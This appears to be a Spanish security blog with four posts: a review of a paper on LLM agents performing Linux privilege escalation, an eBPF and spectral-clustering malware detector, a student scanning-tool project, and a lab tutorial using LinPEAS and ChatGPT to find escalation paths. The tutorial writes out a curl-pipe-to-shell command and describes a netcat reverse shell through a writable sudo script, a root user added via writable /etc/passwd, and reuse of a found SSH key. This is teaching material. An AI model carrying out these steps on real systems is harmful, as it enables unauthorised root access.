LLM as Hackers: Autonomus Linux Privilege Escalation Attacks con Agentes AI

Hay un paper del año pasado del que no había hablado por aquí en el blog, pero que tenía guardado. He podio verlo esta semana, y está curioso el trabajo, aunque creo que los resultados, con un arquitectura de Agentic AI basado en MCPs probablemente diera mejores resultados, aún así la premisa es evaluar cómo funcionan los diferentes LLMs para hacer Elevación de Privilegios en entornos GNU/LINUX usando diferentes ataques sobre diferentes escenarios.

Figura 1: LLM as Hackers: Autonomus Linux Privilege

Escalation Attacks con Agentes AI

El paper, titulado "LLM as Hackers: Autonomus Linux Privilege Escalation Attacks" plantea un total de doce escenarios vulnerables donde se van a evaluar los diferentes modelos LLMs, hoy en día ya totalmente desactualizados con los nuevos modelos de Deep Reasoning.

Figura 2: LLM as Hackers: Autonomus Linux Privilege Escalation Attacks

En el planteamiento de la investigación es ver cómo se desempeñan los diferentes modelos LLama3 70B, SLMs y diferentes versiones de GPT-3.5-Turbo y GPT-4 Turbo, para que puedan ser corridos en local, y con poca ventana de contexto para lo que tenemos hoy en día. Casi com para poder llevar en una máquina de esas que llevan los pentesters en su mochila.

Figura 3:  Las vulnerabilidades de use-after-free se explican en detalle
en el libro de Linux Exploiting de la editorial 0xWord.
Consíguelo con Tempos de MyPublicInbox.

Los doce escenarios están basados en entornos creados para hacer los benchmarks de las herramientas - y en este caso de los LLMs -, donde como podéis ver, cada uno tiene que ser explotado con una técnica de Elevación de Privilegios diferente.

Figura 4: Escenarios de Elevación de Privilegios

Como es normal, hemos publicado muchas veces artículos sobre Elevación de Privilegios en GNU/Linux utilizando diferentes técnicas, que son las que tienen que encontrar y explotar los LLMs. Os dejo por aquí los artículos sobre este tema que hemos publicado en el blog:

• Cómo escalar privilegios en GNU/Linux con las Linux Capabilities
• Got Root! Cómo escalar privilegios en GNU/Linux a través de un viejo bug de Screen
• Cómo convertirse en root en un GNU/Linux explotando el bug de DirtyCOW
• Ataques a GNU/Linux con alias maliciosos de su y sudo

Para resolver estos escenarios los investigadores han creado una arquitectura de Agente de IA tal y como podéis ver a continuación. El agente, que se llama wintermute es el que recibe el comando del LLM con la llamada de "next-command" y le da los resultados con el Prompt de "update-state".

Figura 5: Arquitectura del agente wintermute

Para decidir el siguiente comando, el motor LLM tiene una base de datos con la historia del proceso completo, una base de datos con el "State" que son los "Facts" o hechos descubiertos hasta el momento, además de contar con una "pista" estática que puede meterse en la base de datos de "Guidance" que usa el pentester para guiar al agente.

Figura 6: Arquitectura del Prompt de "next-command"

Los Prompts de next-command y update-state son los que tenéis en la Figura 6 y Figura 7 respectivamente, donde como veis es bastante sencillo. No utiliza una capa intermedia de abstracción para configurar los comandos, como se hace con los MCP (Model Context Protocol) o como hacía el paper de ataques de redes de forma autónoma, donde se usaba la capa de Incalmo.

Figura 7: Prompt de "update-state"

Sobre esta arquitectura, cada uno de los modelos va enviando los comandos, donde pueden dar problemas, ser irrelevantes, o simplemente estar mal escritos - que es uno de los problemas que se reduce drásticamente con las capas de abstracción -. 

Figura 8: Comandos seleccionados por los diferentes modelos

Y el resultado final lo tenéis en la siguiente tabla, donde están todas las combinaciones entre escenarios y modelos, con o sin "hint" (pista), donde se puede ver qué modelo funcionó mejor resolviendo estos retos. Nada que no os podáis imaginar.

Figura 9: Resultados de las pruebas

Mirando la tabla se puede ver que algunos modelos funcionan bastante mal con esta arquitectura, como el caso de Llama3 o GPT-3.5-turbo, pero GPT-4-turbo alcanza la resolución en una de las pruebas del 83% de los retos, lo que es muy prometedor. 

Conclusión

De nuevo, con los modelos de más avanzadas de Deep Reasoning de hoy en día, y usando una arquitectura con capa de abstracción, podemos estar casi seguros de que un Agentic AI construido para hacer estas funciones podría resolver el 100% de los escenarios o estar muy cerca de ellos. Tened en cuenta los resultados que obtuvieron los Agentic AI en los CTF que os publiqué la semana pasada. 

Figura 10: "The Art of Pentesting" El libro de Pablo González

 en 0xWord para formarse como pentester.

Consíguelo con Tempos de MyPublicInbox.

Sin embargo, me ha parecido interesante dedicarle una entrada a este paper, para que veáis de qué forma tan sencilla se puede hacer un Agentic AI para casi cualquier tarea. Con un par de Prompts y unas bases de datos de información está listo. Si ya le metes una arquitectura RAG con writeups de hacking, blogs que hablen de hacking - como éste - y herramientas conectadas con capas de abstracción como MCPs... seguro que podéis crear vosotros mismos agentes para casi todo.

¡Saludos Malignos!

Autor: Chema Alonso (Contactar con Chema Alonso)  

Cómo pasar del exploit automático de bugs hecho por IA a la detección de malware en nanosegundos con eBPF & Spectral Clustering

Un aviso a las 03:00. Sonaba la alerta en Grafana mientras la mitad del cluster roncaba en modo low-power. Nada extraordinario… hasta que el panel del IDS cambió de verde a rojo en menos de 200 ms. Veintisiete llamadas execve disparadas en ráfaga, seguidas del clásico combo mmap + mprotect que todo shellcode loader necesita para saltar de la página de datos a la de instrucciones.

Figura 1: Cómo pasar del exploit automático de bugs hecho por IA

a la detección de malware en nanosegundos con

eBPF & Spectral Clustering

Al revisar la traza eBPF vimos que los buffers escritos alcanzaban 7.3 bits/byte de entropía — signo inequívoco de ofuscación o compresión agresiva. La fingerprint no coincidía con ninguna firma YARA ni regla Falco. Aquello olía a malware de generación sintética, amasado por un LLM con exceso de temperatura.

Figura 2: Linux Exploiting en 0xWord

A las 03:00:27 el blue-team contuvo la amenaza: un bpf_lsm abortó el execve antes de que la burbuja llegara a task_struct. La incógnita era clara: ¿podemos repetir esa hazaña sin humanos desvelados?

El problema: ofensiva con esteroides de IA

La línea de producción de 0-days ya no es artesanal. Un agente autónomo basado en GPT-4 es capaz de explotar 87 % de vulnerabilidades one-day cuando se le da la descripción CVE, superando por paliza a escáneres clásicos y a modelos menores (0 %). Este mismo paper advierte que, sin descripción, la tasa baja al 7 %, pero la ventana entre la publicación del advisory y el parche sigue siendo mortal.

Figura 3: LLM Agents can Autonomously Exploit One-day Vulnerabilities

En el contexto del examen SLAE32, un experimento técnico publicado en 0xboku demostró cómo el shellcode polimórfico creado manualmente puede alterar hasta un 33 % de su estructura (de 108 a 144 bytes) usando registros MMX y modificaciones de instrucciones, manteniendo su funcionalidad para evadir detección. Este caso, aunque no involucra LLMs, ilustra cómo técnicas clásicas de ofuscación ya desafían firmas SHA 256 y patrones estáticos, obligando a adoptar detección basada en comportamiento o modelos de IA entrenados en entropía y anomalías de ejecución.

1.1 No basta con “parchear rapidito”

Incluso con un SLA de parches de 24 h las organizaciones quedan expuestas durante todo el ciclo virtual —release de exploit, write-up en blog, publicación del PoC—. Necesitamos detección y respuesta en tiempo real, preferiblemente antes de que los bytes maliciosos crucen la frontera usuario-kernel. 

La hipótesis: el kernel susurra en nanosegundos 

El Extended Berkeley Packet Filter (eBPF) es nuestra oreja en ring 0:

• Se carga como byte-code verificado; imposible desbordar el kernel.
• Engancha tracepoints/kprobes a cualquier syscall sin recompilar ni reiniciar.
• Copia eventos a espacio de usuario mediante ring buffer (cero copias).
• Overhead bajo: Alto rendimiento al trazar syscalls execve y mprotect en workloads OLTP.

Figura 4: Arquitectura de eBPF

2.1 Características que sí delatan a un loader

1. n-grams de syscalls (window=5): captura lógicas como open → read → mmap → mprotect → execve.
2. Entropía de payload: indica compresión/cifrado.
3. Δt entre syscalls: ciertos packers insertan “sleep-gaps” para evadir monitoreo.
4. Delta de privilegios: salto uid 1000 → 0 es red-flag.
5. Llamadas ptrace: frecuente en stagers que se inyectan en procesos confiables.

Los cinco valores se normalizan y forman un vector de 256 dimensiones que alimenta el algoritmo de Machine Learning.

Figura 5: Libro de Machine Learning aplicado a Ciberseguridad de
Carmen Torrano, Fran Ramírez, Paloma Recuero, José Torres y Santiago Hernández

El truco de magia: Spectral Clustering sin etiquetas

Mientras los IDS clásicos aprenden con datasets estáticos —y sufren cuando aparecen comportamientos inéditos— el Spectral Clustering trabaja a ciegas:

1. Construye una matriz de similitud S calculando distancia Jensen-Shannon entre histogramas de vectores (researchgate.net).
2. Obtiene el Laplaciano normalizado L = D⁻¹ᐟ² (D − S) D⁻¹ᐟ²
3. Extrae los k autovectores de menor autovalor y proyecta los puntos.
4. Aplica k-means en ese nuevo espacio.

Nota: investigamos Eigen-updates streaming, técnica que recalcula solo los autovectores afectados por un cambio local en S, logrando refrescar el modelo de 2- 3 ms sin reconstruir toda la matriz.

PoC I — portátil del blue team

Durante las pruebas iniciales quisimos demostrar que la detección basada en eBPF + Spectral Clustering cabe incluso en un laptop de respuesta rápida—el típico “equipo de guerra” que un analista lleva a un incidente.

• Tracepoint raw_syscalls:sys_enter: el programa eBPF cuenta todas las syscalls y las lanza a un ring buffer (overhead ≈ 0.7 % CPU) .

• Extractor en user-space: cada 500 ms levanta el histograma por PID y lo paddea a longitud constante.

• Cálculo de similitud: matriz RBF simetrizada + self-loops mínimos para garantizar conectividad.

• Spectral Clustering: con k = 2 → etiqueta “normal” vs “anómalo”; la decisión llega en ≈ 35 ms.

• Acción: si label == anomalía, lanzamos un hook LSM que cancela execve, e inmediatamente Grafana genera una alerta.

Figura 6: Pipeline de detección de anomalías in-kernel

con eBPF + Spectral Clustering (PoC I)

Qué aprendimos del portátil

• El ring buffer es clave: pasar a perf-event duplicaba la latencia.

• Padding + RBF: permite trabajar con huellas de procesos muy diversos (LibreOffice pesa > 300 syscalls/ventana; un curl apenas 18).

• El “modo laptop” es ideal para ofensiva inversa: llevas la detección in situ y cazas la amenaza antes de subir nada al SIEM.

PoC II — clúster K8s de producción

• DaemonSet carga el colector eBPF.

• Los vectores llegan por gRPC a un side-car que vive en el mismo node pool que OpenSearch, evitando saltos de red.

Figura 7: Arquitectura de telemetría y respuesta

en el clúster Kubernetes (PoC II)

• DaemonSet despliega el sensor en cada nodo (hostPID:true, privileged:true).

• Cilium exporta sus mapas eBPF (cilium/ebpf/v2) y nos evita duplicar sondas.

• Hubble Relay agrega eventos L4, que se fusionan con la matriz‐syscalls vía ID de contenedor.

Todos los dashboards viven en un Grafana-LOKI-Tempo stack; las alertas llegan a PagerDuty.

Correlación Hubble + syscalls — afinando el detector en microservicios ruidosos 

La tesis es sencilla, ya que los False Positives suelen aparecer cuando un microservicio legítimo realiza ráfagas inusuales de syscalls—por ejemplo, un side-car de logging que comprime registros antes de enviarlos.

Figura 8: Ensamblador X86: Teoría y Practica.

de Josué Acebedo Maldonado y Sheila A. Berta.

Si correlacionamos flujos L4/L7 de Hubble (la capa de observabilidad de Cilium) con la secuencia de syscalls del mismo container_id, obtenemos contexto de red que ayuda al modelo espectral a distinguir un backup ruidoso de un loader malicioso.

• Emparejar eventos: cada registro Hubble porta pod_uid y container_id. El extractor agrega esos campos al vector de 256 D.

• Nuevas features: dirección (ingress/egress), proto, bytes_sent y ratio packets/Δt.

• Reentrenar parcial (Eigen-update): cada 10 s para minimizar deriva.

Lecciones aprendidas

Después de estas pruebas, hemos visto como el  análisis no supervisado elimina la esclavitud de etiquetar muestras de malware. Además, el uso de eBPF permite hot-patch del sensor sin tener que reiniciar ni recompilar el kernel. En todo este proceso, el cuello de botella real es el cálculo completo de autovectores y el uso de Eigen-updates reduce la carga a la décima parte.

Figura 9: "Malware moderno: Técnicas avanzadas y su influencia en la industria"

de Sergio de los Santos en  0xWord

Además, correlacionar capa de red (Hubble) con syscalls baja los falsos positivos en escenarios de microservicios ruidosos, lo que es muy beneficioso. Por último, en todo este proceso es muy importante la UX del analista, y tener un panel que combine “Top anomalous pods” con la llamada exacta a mprotect(PROT_EXEC) ahorra 10 min de búsqueda a las 03 : 00.

Como próximos pasos en este aprendizaje, vamos a trabajar en  extender el modelo para cubrir tráfico  de los niveles L4/L7 completos. Proceder a automatizar las acciones de mitigación vía Falco + ArgoCD y explorar distancia de Wasserstein sobre los histogramas, prometedora para diferenciación fina de malware polimórfico. Además, queremos probar despliegue desde el edge en IoT (ARM64) con micro-agentes eBPF.

Autor: José Acevedo Maldonado, autor del libro Ensamblador X86: Teoría y Practica.

Contactar con José Acevedo Maldonado (neomatrix)

El poder de la formación: Cómo crear una herramienta de escaneo para GNU/Linux

El aprendizaje teórico es solo el inicio, el verdadero valor de la formación en ciberseguridad se alcanza cuando llevamos ese conocimiento a la práctica, adaptándolo a problemas reales del mundo tecnológico. Y los Trabajos de Fin de Curso/Carrera (TFC), Trabajos de Fin de Grado (TFG), o como hoy, un Trabajo de Fin de Máster (TFM) del Máster de Fundamentos de Ciberseguridad del Campus Internacional de Ciberseguridad, son una oportunidad fantástica.

Figura 1: El poder de la formación. Cómo crear

una herramienta de escaneo para GNU/Linux

En mi caso particular he aprovechado todos esos trabajos para avanzar las investigaciones que estaba llevando a cabo, y usarlos en mi vida personal. Mi Trabajo de Fin de Carrera de la Ingeniería Técnica de Informática de Sistemas en la UPM fue la implementación nLog(n) de un algoritmo para calcular de un par de puntos de una nube dada. En el Trabajo de Fin de Grado de la Ingeniería de Informática en la URJC se lo dediqué a las técnicas de Time-Based Blind SQL Injection Using Heavy Querys y el Trabajo de Fin de Máster de mi Máster en Tecnologías de la Información y Sistemas Informáticos de la URJC a las técnicas de LDAP Injection y Blind LDAP Injection.

Ver esta publicación en Instagram

Una publicación compartida de Chema Alonso (@chemaalonso)

Todos ellos me sirvieron profesional para mucho, pero también para luego hacer mi Doctorado con el análisis y modelado de algoritmos para detectar ataques explotados a ciegas, que aunaba y recolectaba todo el trabajo que había hecho antes. Cuando haces una formación, lo importante no es el título, sino el aprovechamiento que sacas de ella, y yo os garantizo que he aprovechado todos los trabajos para hacer cosas chulas. Y por eso hoy quiero compartir con vosotros el TFM de Víctor Laguna Bandrés, alumno de la primera edición del Máster en Fundamentos de Ciberseguridad del Campus Internacional de Ciberseguridad.

Figura 3: Contactar con Victor Laguna Bandrés

Este máster es para personas que empiezan desde cero, así que su proyecto era un desafío clave para él y algo fundamental en el ámbito de la seguridad de sistemas GNU/Linux. En este caso la creación de una herramienta propia para escanear y analizar la arquitectura de máquinas GNU/Linux. Este proyecto era para no sólo demostrar su capacidad técnica, sino también de visión, ya que un buen profesional de ciberseguridad puede y muy a menudo tiene que crear soluciones nuevas que mejoren la herramientas de seguridad con las que se cuenta.

El reto del escaneo en arquitecturas GNU/Linux

Las arquitecturas GNU/Linux se han convertido en uno de los sistemas operativos más utilizados tanto en entornos empresariales con en Internet como en servidores de muchos de los servicios digitales que se consumen o publican en la red.

A medida que las amenazas evolucionan, la capacidad de evaluar la seguridad de estos sistemas en tiempo real también debe hacerlo. El escaneo de arquitecturas GNU/Linux es crucial para detectar vulnerabilidades, identificar brechas de seguridad y proteger las infraestructuras.

Por supuesto, existen infinidad de herramientas, y algunas de ellas muy conocidas para estas tareas como Nmap, OpenVAS y Lynis, que realizan escaneos para detectar vulnerabilidades y mejorar la seguridad de las máquinas GNU/Linux.

Sin embargo, a pesar de la eficacia de estas soluciones, con este proyecto se quería unificar las funcionalidades más potentes de estas herramientas en una única plataforma que permita personalizar los escaneos en función de las necesidades específicas de cada entorno.

El TFM: Creación de una herramienta de escaneo de arquitecturas GNU/Linux

El objetivo del TFM de Víctor Laguna Bandrés era desarrollar una herramienta integral para el escaneo de arquitecturas en máquinas GNU/Linux, utilizando las mejores características de las herramientas existentes, pero combinadas en un solo sistema y adaptadas a las necesidades de proyectos futuros. A continuación, destaco algunos de los aspectos técnicos del trabajo:

• Selección de la tecnología adecuada: Este trabajo se realizo en Python debido a su versatilidad, facilidad de implementación y capacidad de escalabilidad. Esta elección permite diseñar una herramienta flexible que pueda ajustarse a diferentes requisitos de escaneo y adaptarse fácilmente a futuros desarrollos.

Figura 4: Libros de Python para Pentesters y Hacking con Python
de Daniel Echeverri publicados en 0xWord.

• Escaneo de características de fortificación: La herramienta realiza un análisis exhaustivo de diversas características críticas en la fortificación de cualquier máquina GNU/Linux. Esto incluye la obtención de información sobre usuarios y grupos (pwd y grp), la verificación de permisos en directorios sensibles (os.stat()), y la identificación de módulos y drivers cargados en el sistema mediante lsmod y modinfo. Además, se escanea la versión del Kernel para detectar vulnerabilidades conocidas a través de /proc/version.

Figura 5: El TFM está hecho en python3

• Red y dispositivos conectados: En este trabajo se implementa un escaneo de red utilizando herramientas como ifconfig, netstat y lsof, y también se realiza una identificación de puertos abiertos y dispositivos conectados. Esto se complementó con un análisis de las configuraciones de la red y las interfaces de acceso mediante sockets en Python.

Figura 6: Fichero main.py

• Escaneo de recursos y configuración del sistema: La herramienta permite evaluar el uso de recursos como la memoria RAM, los discos duros y la configuración del cortafuegos. Utiliza psutil para obtener datos sobre el sistema, garantizando que los recursos estén configurados de manera segura.

Conclusiones del TFM

Este TFM no sólo está enfocado en demostrar conocimientos para dar una solución técnica que puede ser requerida en un puesto profesional de ciberseguridad en un momento dado, sino también una visión pragmática sobre cómo mejorar la seguridad de un sistema GNU/Linux de una manera práctica y útil para una empresa en un momento dado. La herramienta creada no es solo un ejercicio académico; es una solución práctica que puede ser utilizada para reforzar la seguridad en entornos reales como lo haría cualquier profesional de ciberseguridad.

Figura 7: 7 libros de 0xWord en el Máster de Fundamentos de Ciberseguridad

Lo que se busca con estos proyectos, es que los alumnos de un Máster en Fundamentos de Ciberseguridad del Campus Internacional de Ciberseguridad cuando hagan el TFM lo hagan pensando en su futuro como profesionales de ciberseguridad, y en este caso concreto, en cómo su herramienta se puede seguir adaptando y mejorando con el tiempo, lo que refleja lo que se busca con esta formación, que es preparar a los estudiantes no sólo para enfrentar los retos de ciberseguridad de hoy, sino para anticiparse a los del mañana.

¿Qué aporta el Máster en Fundamentos de Ciberseguridad?

El TFM de Víctor Laguna Bandrés no es por casualidad, el Máster en Fundamentos de Ciberseguridad del Campus Internacional de Ciberseguridad ofrece una formación integral en los pilares de la seguridad informática, brindando a los alumnos las herramientas necesarias para desarrollar proyectos técnicos como el de hoy comenzando desde cero, para que lo puedan aplicar en una carrera profesional en ciberseguridad.

Figura 8:  Máster en Fundamentos de Ciberseguridad

del Campus Internacional de Ciberseguridad 

Además, con un enfoque netamente práctico, este máster permite a los estudiantes enfrentarse a problemas reales del trabajo en cibeseguridad y construir soluciones que marquen la diferencia. Si estás interesado en iniciarte en el apasionante mundo de la ciberseguridad pero empiezas casi desde cero, el Máster en Fundamentos de Ciberseguridad del Campus Internacional de Ciberseguridad te proporciona una base sólida, impartida por profesionales de reconocido prestigio, y con el respaldo de una escuela de negocios líder en el sector.

Figura 9: 7ª Edición del Máster Online de Fundamentos de Ciberseguridad.

Reserva de plazas para Marzo 2025

Si quieres adquirir los conocimientos y habilidades para proteger sistemas críticos y desarrollar proyectos innovadores en ciberseguridad, puedes reservar una de las plazas que quedan libres en la 7º edición del Máster en Fundamentos de Ciberseguridad que comienza elpróximo 25 de marzo y formar parte de una comunidad de expertos que están construyendo su futuro en el mundo profesional de la seguridad informática.

Figura 10: Estudio personalizado de Singularity Hackers en

el Máster de Fundamentos de Ciberseguridad 

¡Saludos Malignos!

Autor: Chema Alonso (Contactar con Chema Alonso)  

LinPEAS versus IA: Cómo usar un Copilot para escalar privilegios en GNU/Linux

Cuando uno se enfrenta al proceso de escalada de privilegios en sistemas GNU/Linux, LinPEAS es una de las herramientas obligatorias para mí. Me gusta por muchos motivos, pero sobre todo por toda la información que nos proporciona y que facilita el encontrar vectores de actuación. Cuando uno está empezando, entender toda la información que verifica y que nos muestra LinPEAS no es sencillo.

Figura 1: LinPEAS versus IA - Cómo usar un Copilot

para escalar privilegios en GNU/Linux

Hay que echarle tiempo y entender todo lo que la herramienta nos está diciendo. Lo más recomendable es entender todo lo que hace “por debajo” y poder usarla para optimizar el tiempo, encontrando un vector o varios que nos puedan llevar a la escalada en un pentest.

Figura 2: GitHub de LinPEAS

En este artículo se enseñará cómo LinPEAS ayuda a identificar vectores potenciales para lograr la escalada en un sistema GNU/Linux y cómo la IA también puede ayudarnos siendo el ayudante operativo que nos ayude a procesar gran cantidad de información. 

ç 3: "The Art of Pentesting" El nuevo libro de

0xWord para formarse como pentester

Lo ideal es que utilicemos un modelo privado (en local) por temas de que si fuera un pentest real los datos son críticos. Como esto es una demostración, utilizaremos a ChatGPT (y aprovecharemos su potencial). Para el ejemplo, partiremos del siguiente escenario. Vamos allá.

• Tenemos una máquina con dos configuraciones diferentes.

• En la primera configuración, tenemos dos errores que provocarán la escalada de privilegio. Partiendo de un usuario, por ejemplo, ‘pepito’ el cual no es un sudoer, ni tiene privilegio de nada en el sistema. Deberemos pasar al usuario ‘pablo’, el cual sí es un sudoer. Posteriormente, deberemos pasar a root.

• En la segunda configuración pasaremos del usuario ‘pablo’ a root, pero ¿Qué técnicas deberemos utilizar en cada una de las configuraciones?

• El objetivo del ejercicio es ver cómo LinPEAS nos ayuda y cómo un modelo de IA fundacional (y mejor si está especializado en este campo) nos pueden guiar. Incluso, podemos utilizar herramientas clásicas y comprenderlas mejor con el modelo de IA.

Escenario 1: LinPEAS from scratch

En este escenario partimos de que tenemos una shell remota, la cual se puede haber obtenido a través de una explotación remotamente. Ahora, identificamos privilegios en el sistema y se ve que el usuario no pertenece a ningún grupo con privilegio en el sistema. Todo esto, realmente, lo va a poder realizar LinPEAS, por lo que voy a lanzar LinPEAS en el sistema. 

Figura 4: Ejecución de LinPEAS

Ejecutamos a través de la shell remota el siguiente comando:

curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh.

Ahora, toca analizar los resultados que desprende el uso de la herramienta. Lo primero de todo es tener claro la leyenda que nos proporciona LinPEAS. Se puede ver como un RED/YELLOW proporciona un vector de escalada con una probabilidad alta. Los valores en rojo, tal como se ve en la imagen, también hay que tenerlos en cuenta y analizarlos, ya que pueden ayudar a la escalada.

Figura 5: Posibles Vectores de Escalada

Una de las primeras cosas que se enseña que hay que revisar en la escalada son las versiones de las aplicaciones con privilegio, revisar los hotfix instalados y revisar versiones de kernel. Como se puede ver en la imagen, LinPEAS hace uso de una enumeración y análisis para poder identificar posibles vulnerabilidades. Para ello hace uso de Linux Exploit Suggester (hay que recordar también su versión en Windows, llamada Windows Exploit Suggester) y muestra una serie de resultados de la posibilidad de que haya encontrado un vector de explotación.

Figura 6: Linux Exploit Suggester

La salida es muy larga, por lo que no se puede mostrar todo (recomendado probarlo en vuestro laboratorio). Siguiendo hacia abajo se puede encontrar una serie de datos interesantes: son ficheros relacionados con SSH. Una clave pública (y la privada también estaba en el sistema), el fichero de equipos conocidos (es decir, las máquinas a las que se ha conectado el usuario ‘pepito’ (o nopriv) y el fichero de claves autorizadas.

En este caso, se puede ver un dato curioso el valor de authorized_keys del usuario ‘pablo’ es el mismo que el de la clave pública del usuario ‘pepito’. No nos lo dice LinPEAS, pero se puede relacionar viendo el valor de los ficheros. Esto quiere decir que, muy probablemente, el usuario ‘pepito’ puede hacer login como usuario ‘pablo’ a través del uso de clave pública (y la clave privada se encuentra en el home de ‘pepito’.

Figura 7: Claves ssh

Justamente, si seguimos un poco más abajo en la salida de LinPEAS encontramos esto. En efecto, la clave privada se encuentra disponible. El pentester podría llevarse la clave privada a su equipo e intentar acceder como el usuario ‘pablo’ (sin conocer la credencial de éste, ya que la autenticación se realizará por clave pública).

Figura 8: Posibles claves privadas encontradas

En un movimiento un tanto extraño, se puede identificar que el usuario ‘pepito’ (o nopriv en la máquina) puede autenticarse como el usuario ‘pablo’. ¿Será algún tipo de escalada? También LinPEAS nos vuelva toda la información de usuarios y grupos y se puede ver que ‘pablo’ es un usuario de tipo sudoer, por lo que respecto al usuario ‘pepito’ sí hay una escalada (sin llegar a ser root).

Figura 9: Libro de Ethical Hacking 2ª Edición
de Pablo González en 0xWord

Una vez que somos ‘pablo’ a través de una conexión local de SSH (como decía un tanto raro) hay que seguir analizando con LinPEAS. La herramienta marca que el usuario pablo pertenece al grupo sudo. Esto hace pensar que habrá que configurar la configuración de éste.

Figura 10: Usuario pablo en el grupo sudo

En la revisión de la configuración de sudo se puede encontrar la etiqueta NOPASSWD, algo no recomendado de configurar. Se puede ejecutar como sudo y sin contraseña 3 scripts. Esto, a priori, puede no suponer mucho, habrá que estudiar si se puede hacer algo con esos scripts.

Figura 11: Se pueden ejecutar 3 scripts sin password

Por un lado, la etiqueta NOPASSWD sobre 3 scripts y después, LinPEAS, indica que el script /usr/local/bin/echo.sh tiene permisos de escritura para otros usuarios, es decir, podremos modificar el contenido de dicho fichero (o sobrescribirlo completamente). A partir de aquí, se puede ejecutar como sudo y colocando, por ejemplo, una llamada de netcat desde el propio script a un listener que tengamos nosotros y conseguir ser root. 

Figura 12: Script echo.sh con permiso de escritura

Analizando en la siguiente configuración con LinPEAS podemos encontrar algunas cosas interesantes: el bit SUID activo sobre algún binario que no debiera, tareas programadas con permisos débiles, un posible path hijacking, etcétera. LinPEAS nos da mucha información y proporciona un gran número de chequeos, los cuales hay que podar y quedarse con la información de interés.

Figura 13: Más posibles vectores de explotación

En la imagen, se puede la evaluación del bit SUID y como se encuentra un binario interesante. Por otro lado, se recomienda utilizar el proyecto GTFOBins con el que se puede obtener mucha información de los binarios y de los vectores de escalada que se pueden utilizar.

Figura 14: Tareas ejecutadas en el cron como root

Otro punto débil es el cron. Tareas ejecutadas cada minuto como root. Hay que revisar el fichero /deploy.sh.

Escenario 2: El modelo como ayudante de pentester

Ahora, el segundo escenario consiste en dos cosas:

• Evaluar la información que recopila LinPEAS y mostrar las capacidades de un modelo como copiloto.

• Ir desgranando el proceso paso a paso e ir ayudándote del modelo con pequeños trozos de información.

Éstas serían las dos primeras aproximaciones que se pueden llevar a cabo. Para empezar, volcaremos la información sobre el modelo (todo lo que ha recopilado LinPEAS) y le diremos que analice y que nos diga que encuentra. La verdad es que devuelve mucha información. Hay que fijarse que en el punto 4 (de los 10 que nos saca) nos habla de las claves SSH (siempre son un punto a tener en cuenta). De momento es una aproximación y el modelo da algunas pautas y un análisis un poco más superficial de lo que se ha ido encontrando con LinPEAS.

Figura 15: Analizando la salida de LinPEAS

Ahora, le pedimos que haga un análisis del componente de las claves SSH y ficheros relacionados. El resultado nos indica que la clave pública id_rsa.pub y authorized_keys son idénticas y nos sugiere que la clave pública permite al usuario ‘pepito’ (en la máquina usuario ‘nopriv’) autenticarse en el sistema como usuario ‘pablo’ sin necesidad de contraseña. El análisis es correcto por parte del modelo.

También se realiza un análisis de la seguridad de las claves utilizadas en la máquina. Y por último, nos indica el modelo que si la clave privada id_rsa está comprometida (y lo está, ya que tenemos acceso) se puede utilizar para autenticarse en el mismo sistema, por SSH, como el usuario ‘pablo’.

Figura 16:  Análisis del problema de las claves

Este es un buen ejemplo de lo que es un copiloto o ayudante en ciberseguridad y en este caso en pentesting. Ahora, se le indica al modelo que analice toda la salida generada por LinPEAS y el resultado nos indica muchas cosas:

1.- Nos analiza lo que se puede ejecutar con sudo sin contraseña (evalúa la etiqueta NOPASSWD). Además, nos indica que echo.sh es escribible, por lo que nos da un ejemplo de como conseguir una shell con privilegio de root (dicha técnica funcionaría en este ejemplo).

Figura 17: Ejecuciones con sudo sin contraseña

2.- Detecta que el fichero /etc/passwd es escribible, por lo que se puede añadir un usuario al sistema con el UID y GID de 0, siendo root en el sistema.

Figura 18: Fichero /etc/passwd con permisos de escritura

3.- Evalúa ficheros con SUID activo e indica cuál cree que puede ser utilizado. Nos pone en el camino. Aquí es recomendable que el pentester revise junto al proyecto GTFOBins comentado anteriormente. Todo lo que el modelo nos dice tenemos que tratarlo de la forma adecuada. Son ayudas de un ayudante, la palabra final es nuestra como especialistas.

Figura 19: Ficheros con SUID activado

4.-Evalúa el crontab. Nos indica una posibilidad para escalar, siempre y cuando /deploy.sh se pueda modificar. El modelo no tiene información sobre los permisos del fichero deploy.sh, por lo que no puede indicarnos más, pero nos deja el vector marcado.

Figura 20: Análisis del crontab

5.- Aquí está de nuevo el caso de las claves SSH y los ficheros relacionados. Lo explica de nuevo bastante claro, aunque este caso, quizá lo explicó mejor cuando le preguntamos concretamente sobre ello.

Figura 21: Análisis de las claves SSH

Esto es el contexto híbrido. Trabajo como especialista y me ayudo de un ayudante que la IA me proporciona. Importante, hay que tener en cuenta que en muchos campos será necesario utilizar modelos locales que aporten privacidad a los datos manejados. Esto será fundamental, para que los copilotos y ayudantes estén en el día a día de los profesionales de la ciberseguridad. Esto es solo un ejemplo, de lo que puede ayudarnos un modelo, donde no pretendemos que nos haga todo, si no que nos de puntos de vista y ayude en lo que pueda.

Moraleja 

El contexto híbrido y la incursión de la IA en ciertos procesos de la ciberseguridad es obvio. Además, el concepto de copiloto o ayudante será cada vez más utilizado para que entendamos que podemos valernos de estos sistemas que harán nuestro trabajo más eficiente.

Saludos,

Autor: Pablo González Pérez, escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advanced Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root",  “Pentesting con Powershell” y de "Empire: Hacking Avanzado en el Red Team", Microsoft MVP en Seguridad y Security Researcher en el equipo de "Ideas Locas" de Telefónica Innovación Digital.  Para consultas puedes usar el Buzón Público para contactar con Pablo González

Contactar con Pablo González